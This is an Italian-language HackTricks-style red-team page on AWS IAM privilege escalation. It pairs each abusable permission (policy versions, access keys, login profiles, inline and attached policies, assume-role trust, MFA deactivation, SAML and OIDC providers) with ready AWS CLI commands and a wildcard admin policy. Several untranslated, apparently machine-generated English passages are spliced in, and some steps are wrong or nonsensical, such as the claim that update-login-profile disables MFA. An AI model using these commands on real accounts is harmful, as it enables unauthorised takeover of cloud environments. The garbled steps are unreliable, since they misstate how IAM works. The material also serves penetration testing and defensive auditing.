AWS - IAM Privesc

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

IAM

Per ulteriori informazioni su IAM, controlla:

pageAWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Concede la possibilità di creare una nuova versione di una policy IAM, bypassando la necessità dell'autorizzazione iam:SetDefaultPolicyVersion utilizzando il flag --set-as-default. Ciò consente di definire autorizzazioni personalizzate.

Comando di exploit:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impatto: Consente di aumentare direttamente i privilegi consentendo qualsiasi azione su qualsiasi risorsa.

iam:SetDefaultPolicyVersion

Consente di modificare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione ha più autorizzazioni.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impatto: Privilegio di escalation indiretta abilitando più permessi.

iam:CreateAccessKey

Consente di creare un ID chiave di accesso e una chiave di accesso segreta per un altro utente, portando a un potenziale privilegio di escalation.

Sfruttamento:

aws iam create-access-key --user-name <target_user>

Impatto: Privilegio diretto di escalation assumendo le autorizzazioni estese di un altro utente.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Consente di creare o aggiornare un profilo di accesso, inclusa la configurazione delle password per l'accesso alla console AWS, portando a una diretta escalation dei privilegi.

Exploit per la creazione:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Sfruttare l'aggiornamento:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impatto: Escalazione diretta dei privilegi accedendo come "qualsiasi" utente.

iam:UpdateAccessKey

Consente di abilitare una chiave di accesso disabilitata, potenzialmente portando ad un accesso non autorizzato se l'attaccante possiede la chiave disabilitata.

Sfruttamento:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impatto: Escalazione diretta dei privilegi mediante la riattivazione delle chiavi di accesso.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Consente di generare o reimpostare le credenziali per servizi specifici di AWS (ad esempio, CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.

Sfruttamento per la creazione:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit per il reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impatto: Escalatione diretta dei privilegi all'interno delle autorizzazioni del servizio dell'utente.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Consente di allegare policy agli utenti o ai gruppi, consentendo l'escalation diretta dei privilegi ereditando le autorizzazioni della policy allegata.

Exploit per l'utente:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit per il Gruppo:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impatto: Privilegio diretto di escalation verso qualsiasi cosa che la policy concede.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Consente di allegare o inserire policy a ruoli, utenti o gruppi, consentendo l'escalation diretta dei privilegi concedendo ulteriori autorizzazioni.

Sfruttamento per il ruolo:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Sfruttare le Politiche Inline:

An inline policy is a policy that is directly attached to an IAM user, group, or role. These policies are defined within the same JSON document as the user, group, or role, rather than being stored separately. This makes them more vulnerable to privilege escalation attacks.

To exploit an inline policy, you need to identify a user, group, or role that has an inline policy with excessive permissions. Once you have identified the target, you can modify the inline policy to grant yourself additional privileges.

Here are the steps to exploit an inline policy:

  1. Identify the target user, group, or role with an inline policy.

  2. Analyze the permissions granted by the inline policy.

  3. Determine the additional privileges you want to grant yourself.

  4. Modify the inline policy to include the additional privileges.

  5. Test the modified policy to ensure it grants you the desired privileges.

  6. Trigger the execution of the modified policy to escalate your privileges.

It is important to note that exploiting inline policies requires sufficient permissions to modify the policy. Additionally, you should exercise caution and ensure that you do not disrupt the normal functioning of the system while modifying the policy.

By exploiting inline policies, you can escalate your privileges within the AWS environment and gain unauthorized access to resources and sensitive information.

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Puoi utilizzare una policy come:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impatto: Escalatione diretta dei privilegi mediante l'aggiunta di autorizzazioni tramite le politiche.

iam:AddUserToGroup

Consente di aggiungersi a un gruppo IAM, aumentando i privilegi ereditando le autorizzazioni del gruppo.

Sfruttamento:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impatto: Escalazione diretta dei privilegi al livello delle autorizzazioni del gruppo.

iam:UpdateAssumeRolePolicy

Consente di modificare il documento della politica di assunzione del ruolo di un ruolo, abilitando l'assunzione del ruolo e le relative autorizzazioni.

Sfruttamento:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Dove la policy ha l'aspetto seguente, che conferisce all'utente il permesso di assumere il ruolo:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impatto: Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e disattivare i dispositivi MFA, portando a un potenziale escalation indiretta dei privilegi.

Exploit per il caricamento della chiave SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Sfruttare la disattivazione dell'MFA:

To escalate privileges by exploiting the MFA deactivation vulnerability, follow these steps:

Per ottenere privilegi più elevati sfruttando la vulnerabilità di disattivazione dell'MFA, seguire questi passaggi:

  1. Identify an IAM user or role with the necessary permissions to modify MFA settings. This user or role should have the iam:UpdateLoginProfile permission.

  2. Identificare un utente IAM o un ruolo con le autorizzazioni necessarie per modificare le impostazioni dell'MFA. Questo utente o ruolo dovrebbe avere l'autorizzazione iam:UpdateLoginProfile.

  3. Use the update-login-profile command to disable MFA for the targeted user or role. This command can be executed using the AWS CLI or SDKs.

  4. Utilizzare il comando update-login-profile per disabilitare l'MFA per l'utente o il ruolo prescelto. Questo comando può essere eseguito utilizzando AWS CLI o SDK.

  5. Once MFA is disabled, the targeted user or role will no longer require MFA for authentication.

  6. Una volta disabilitato l'MFA, l'utente o il ruolo prescelto non richiederà più l'MFA per l'autenticazione.

By exploiting this vulnerability, an attacker can gain unauthorized access to the targeted user or role without the need for MFA authentication.

Sfruttando questa vulnerabilità, un attaccante può ottenere accesso non autorizzato all'utente o al ruolo prescelto senza la necessità di autenticazione MFA.

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impatto: Escalation di privilegi indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.

iam:ResyncMFADevice

Consente la resincronizzazione di un dispositivo MFA, potenzialmente portando a un'escalation di privilegi indiretta manipolando la protezione MFA.

Comando Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impatto: Privilegio di escalation indiretto mediante l'aggiunta o la manipolazione dei dispositivi MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con queste autorizzazioni è possibile modificare i metadati XML della connessione SAML. Successivamente, è possibile sfruttare la federazione SAML per effettuare l'accesso con qualsiasi ruolo che lo sta accettando.

Si noti che in questo modo gli utenti legittimi non saranno in grado di effettuare l'accesso. Tuttavia, è possibile ottenere l'XML, quindi è possibile inserire il proprio, effettuare l'accesso e configurare il precedente di nuovo.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Un tool in grado di generare i metadati SAML e accedere con un ruolo specificato

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Non sicuro di questo) Se un attaccante ha queste autorizzazioni, potrebbe aggiungere una nuova Thumbprint per riuscire ad accedere a tutti i ruoli che si fidano del provider.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated